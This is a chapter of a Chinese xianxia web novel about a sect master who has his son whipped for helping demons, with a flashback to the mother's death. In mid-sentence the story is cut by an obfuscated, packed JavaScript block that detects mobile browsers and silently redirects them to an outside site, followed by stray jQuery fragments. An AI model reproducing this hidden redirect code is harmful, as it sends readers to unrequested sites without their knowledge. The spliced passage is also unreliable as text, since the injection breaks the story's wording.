霄云宗邢台内——
林阳容被绑在刑台之上,双手被铁链高高吊起。他早已不复刚才的样子,浑身血淋淋没有一块好|肉。
刑台是专门用来惩罚犯了错的仙门弟子。至今从来没有被使用过,没想到林阳容竟会是第一个。
他垂着脑袋,身前之人所说的话如同蚊声落入耳中:“大师兄你这是何必呢?听师弟一句劝早早与师尊认个错,你也不用再受这皮肉之苦。”
说话的是霄云宗二弟子,也是林阳容的师弟——程牧。
程牧手持九劫鞭,一脸不忍地看着林阳容。他真心替大师兄感到不值,他竟为了妖族与师尊作对,也不知道是傻还是蠢。
就在他等师兄回答之际,欧阳康淡漠的声音从身后传来:“程牧,怎么停了?”激得他浑身一抖,飞快转身恭敬一拜:“师父。”
欧阳康的视线一直落在林阳容身上,他看着他身上的伤,眼中没有一丝对自己儿子的心疼,只有冷漠。
他淡淡道:“继续。”
此话一出,程牧手中的九劫鞭应声掉落,直直跪了下去,膝盖在地上发出重重一响。他拦在林阳容面前语气近乎哀求着:“求师父开恩!再打下去大师兄真的会死的。”
欧阳康睨了他一眼,像是不瞒他忤逆了自己,声音像淬了冰:“你若不动手,那便连你一并处罚。”
程牧身体控制不住的抖动,仿佛感到那九劫鞭抽在身上的痛。
九劫鞭抽在身上的疼犹如历雷劫般,让人求生不得求死不能。即使这样他还是直挺挺地跪在林阳容身前,用自己的身体护着他,与师父抗争。
林阳容此时缓缓抬起头,面容被血染脏。他看向自己的父亲,父亲一脸冷漠,随即自嘲一笑,他有气无力道:“继续。”
“师兄!”
林阳容闭上了眼将一切隔绝,静静等待他的刑罚,他不想因为自己而连累旁人。
这副倔强模样成功地激怒了欧阳康,气不打一处来,他猛地一把推开碍事的程牧,捡起地上的九劫鞭狠狠抽在阳容身上。顿时,他的脸上出现了一条可怖的鞭痕,冒出了血珠。
他一边抽着一边怒声道:“你这个逆子!”一下又一下,鞭子打在皮|肉上的响声响彻整个宗门。
这动静引来了许多弟子,他们只敢躲在远处围观,生怕殃及到自己。
“大师兄这下恐怕凶多吉少了。”
“可不是吗,你看师尊那样简直是下了死手。”
“我看他就是活该!谁叫他放着好好的宗门大师兄不当去帮妖族。还为了妖族把剑抵在自己的亲生父亲脖子上,这种人活该被打死!”
说这话的是宗门第四弟子——沈惊,平日里他最看不惯林阳容那副清高样,总觉得林阳容仗着自己是宗主的儿子瞧不起任何人。
而且林阳容曾发誓不再踏入宗门,宗主也没罚他只是轻轻揭过,还保留他大师兄的位置,这让他很不爽。如今他瞧着林阳容被罚,心里别提有多高兴了。
“我觉得四师兄说得对,他就活该被打死。”这人是宗门的洒扫弟子,也是沈惊的狗腿子,平日里最会拍他的马屁。可以说沈惊如今这副鼻孔看人的模样有一半他的功劳,毕竟他总能把沈惊捧得找不着北。
“哎呦——”沈惊和他的狗腿子捂着后脑,“谁啊?!”沈惊看向周围,就见一个白衣女孩悬坐在屋檐之上,白净的小脸上承载着怒气,她手中来回抛着石子。
“苏钰钰你有病吧!”
女孩跳下来,头发上的铃铛发饰叮叮作响,她手中继续抛着石子,“沈惊,你别太过分!就算大师兄再怎么样也轮不到你在这里说三道四!”
沈惊被当众下了面子,恼怒道:“你有本事再说一遍!”
女孩像是铁定要与他对着干,叉着腰,“我说,你赶紧去找仙医治治脑子吧,一天天拽个二五八万似的,别是有什么隐疾。”
她早就看沈惊不顺眼了,天天在宗门里横着走,被人捧得不知道自己是谁,真是人如其名。
如今当众骂了他,一个字——爽!
“你!”他说罢就要与女孩动手,好在有众弟子们拦着,这才没让二人打起来。
被拉开的沈惊脸色涨得通红,显然是被气的不轻。他指着自己看向狗腿子,“她说我脑子有病!我有病吗?”随后又转头问向其他弟子:“我有病吗?”
他显得是气极了。
狗腿子顺着胸脯给他顺着气,“没病没病。苏师妹还小,师兄大人不计小人过就不要同她计较了。”
而对面被拦住的苏钰钰一副天不怕地不怕的样子,“切!有本事你来啊,我可不怕你!”
原本快要冷静下来的沈惊听到此话又炸了,他猛地上前作势就要打她,弟子们连忙压住。
现场乱做了一团……
林阳容始终紧紧咬着牙关一声不吭,不多时他的脸因疼痛而扭曲,额头上全是冷汗。
就在欧阳康又要落下一鞭时,程牧跪着上面双臂紧紧抱住他的大腿,急忙喊道:“师父手下留情啊!”
欧阳康拿鞭子的手悬在空中,一脸恨铁不成钢瞧着脚边的人,随后撒气似的把鞭子狠狠往地上扔。
程牧见此也识相松开师父的大腿。
林阳容低眉看着那九劫鞭,鞭身上沾满他的血。
纵使他有万般不对,可如今的惩罚有些太过了。整整打了三十鞭啊,他现在已经没了任何力气如同断了线的惨败木偶任人宰割。
他们父子二人走到今日这种局面,归根的原因是来自林阳容小时候。
在他十二岁那年,他的母亲被妖族所伤,等找到母亲时只还剩一口气,若是治疗还尚有一线生机。
仙医曾说百香花可起死人肉白骨,且世上仅此一株,而这一株就在欧阳康手中。
林阳容得知后跪在他面前苦苦哀求,求他拿出百香花救救他的母亲,那时候二人的关系不似如今这般。
“父亲,求您拿出百香花救救阿娘——”
而欧阳康对此只是跟他说:“你母亲如今的身体本就是强弩之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816376|190903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
末,百香花未必能治好她,又何苦浪费仅此一株的草药?”
此话一出,阳容无比震惊,震惊他的父亲怎会说出这种话。
任凭他怎么苦苦哀求,他的父亲都不曾松口,直至他的母亲咽了气都没能求来百香花。一株草药竟还比不上相伴自己多年的结发妻子,当真是可笑至极。
自此他改母姓,记恨上欧阳康,也是在这时起他发誓在不愿踏入霄云宗半步。
…
欧阳康居高临下睨着他:“你可知错?”
林阳容垂着脑袋,好半晌才回答他,声音虚弱却不卑不亢:“我没错,错的是你!”
“冥顽不灵!”欧阳康狠狠甩下衣袖,震得空气都得抖三抖,他怒斥道:“你放走妖族的时候可有想过你的母亲吗?”
“你别跟我提她!”这话触碰到了林阳容的逆鳞,“当初若不是你不给我百香花,我的母亲又怎会死?”
他一字一句道:“你根本就不配提起我母亲。”
这句话似乎踩到了欧阳康的尾巴,使劲捏住少年的下巴,迫使他与自己平视:“我不配?这些年我扪心自问不愧于你,你说不想修仙我依你,你不想呆在宗门我也依了你。”
随后他狠狠的甩开少年的下巴,少年的脸偏向一旁。
欧阳康紧接着说:“你作为我的儿子不帮自己的亲生父亲,反倒去帮那些妖孽。你有什么资格说我不配?”
少年始终偏着头,不发一言。
欧阳康压下一半心中怒火,背对着他,说出口的话犹如冰锥扎入少年的心口:“你放心,待我抓到那狐族女子,我会替你好好照顾她的。”
这话无疑是将少年最后一丝理智击溃,他剧烈挣扎了起来,铁链被弄的哗哗作响,他大喊道:“你要干什么?!你别动她!”
欧阳康嘴角勾起一抹不易察觉的笑。
他离开了,林阳容无论怎么咆哮他都不为所动。
程牧最后看了眼林阳容,叹了口气也离开了。
台上只剩林阳容一人……
良久,他声音喊哑了,刑台上也安静了下来。他反省着自己,如果在小师妹来找自己那日多坚定一些,前去寻他们,那样纪慕姐姐是不是就不会死?
他那日隐隐有了猜测是霄云宗要去攻打妖族,却不知对象是狐族,毕竟这些年霄云宗总是以各种由头去攻打妖族。他曾有不好的预感,在今日清灵的到来印证了预感。
他知晓了纪慕姐姐的死,明白了父亲一直以来都在骗他!
林阳容在台上笑出了声,笑自己的愚蠢,害了纪清灵,害了纪慕姐姐,他是个罪人。
欧阳康永远不会知道自己的儿子是因为他才不想修仙。
阳容从不后悔那时给纪清灵争取逃跑时间,也不后悔这三十鞭。
……
欧阳康离开后,那边也逐渐安静下来。沈惊鼻青脸肿地被师弟们抬走,很明显这场仗是苏钰钰赢了。
拉着苏钰钰的师姐轻轻拍了她一下,语气略带责备:“你呀。”